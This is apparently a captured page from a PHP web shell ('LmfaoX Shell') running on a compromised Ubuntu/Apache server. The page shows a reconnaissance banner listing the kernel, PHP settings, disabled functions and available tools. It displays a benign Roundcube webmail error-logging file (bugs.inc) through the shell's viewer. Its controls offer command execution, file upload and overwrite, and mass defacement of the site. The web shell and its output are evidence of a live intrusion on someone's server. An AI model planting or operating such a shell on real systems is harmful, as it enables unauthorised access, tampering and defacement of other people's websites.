ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.19 GB of 70.42 GB (34.35%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ roundcubemail/ program/ include/ - drwxr-xr-x

Directory:
Viewing file:     bugs.inc (3.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 +-----------------------------------------------------------------------+
 | program/include/bugs.inc                                              |
 |                                                                       |
 | This file is part of the RoudCube Webmail client                      |
 | Copyright (C) 2005-2007, RoudCube Dev - Switzerland                   |
 | Licensed under the GNU GPL                                            |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide error handling and logging functions                        |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+

 $Id: bugs.inc 666 2007-08-07 21:02:12Z thomasb $

*/


/**
 * Error handling and logging functions
 *
 * @package Core
 */


/**
 * Throw system error and show error page
 *
 * @param array Named parameters
 *  - code: Error code (required)
 *  - type: Error type [php|db|imap|javascript] (required)
 *  - message: Error message
 *  - file: File where error occured
 *  - line: Line where error occured
 * @param boolean True to log the error
 * @param boolean Terminate script execution
 */
function raise_error($arg=array(), $log=false$terminate=false)
  {
  global 
$__page_content$CONFIG$OUTPUT$ERROR_CODE$ERROR_MESSAGE;
  
  
// report bug (if not incompatible browser)
  
if ($log && $arg['type'] && $arg['message'])
    
log_bug($arg);

  
// display error page and terminate script
  
if ($terminate)
    {
    
$ERROR_CODE $arg['code'];
    
$ERROR_MESSAGE $arg['message'];
    include(
"program/steps/error.inc");
    exit;
    }
  }


/**
 * Report error according to configured debug_level
 *
 * @param array Named parameters
 * @see raise_error()
 */
function log_bug($arg_arr)
{
  global 
$CONFIG$INSTALL_PATH;
  
$program $arg_arr['type']=='xpath' 'XPath' strtoupper($arg_arr['type']);

  
// write error to local log file
  
if ($CONFIG['debug_level'] & 1)
  {
    
$log_entry sprintf(
      
"[%s] %s Error: %s in %s on line %d\n",
      
date("d-M-Y H:i:s O"mktime()),
      
$program,
      
$arg_arr['message'],
      
$arg_arr['file'],
      
$arg_arr['line']);
                 
    if (empty(
$CONFIG['log_dir']))
      
$CONFIG['log_dir'] = $INSTALL_PATH.'logs';
      
    
// try to open specific log file for writing
    
if ($fp = @fopen($CONFIG['log_dir'].'/errors''a'))
    {
      
fwrite($fp$log_entry);
      
fclose($fp);
    }
    else
    {
      
// send error to PHPs error handler
      
trigger_error($arg_arr['message']);
    }
  }

  
// resport the bug to the global bug reporting system
  
if ($CONFIG['debug_level'] & 2)
  {
    
// TODO: Send error via HTTP
  
}

  
// show error if debug_mode is on
  
if ($CONFIG['debug_level'] & 4)
  {
    print 
"<b>$program Error";

    if (!empty(
$arg_arr['file']) && !empty($arg_arr['line']))
      print 
" in $arg_arr[file] ($arg_arr[line])";

    print 
":</b>&nbsp;";
    print 
nl2br($arg_arr['message']);
    print 
'<br />';
    
flush();
  }
}

?>
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.3211 seconds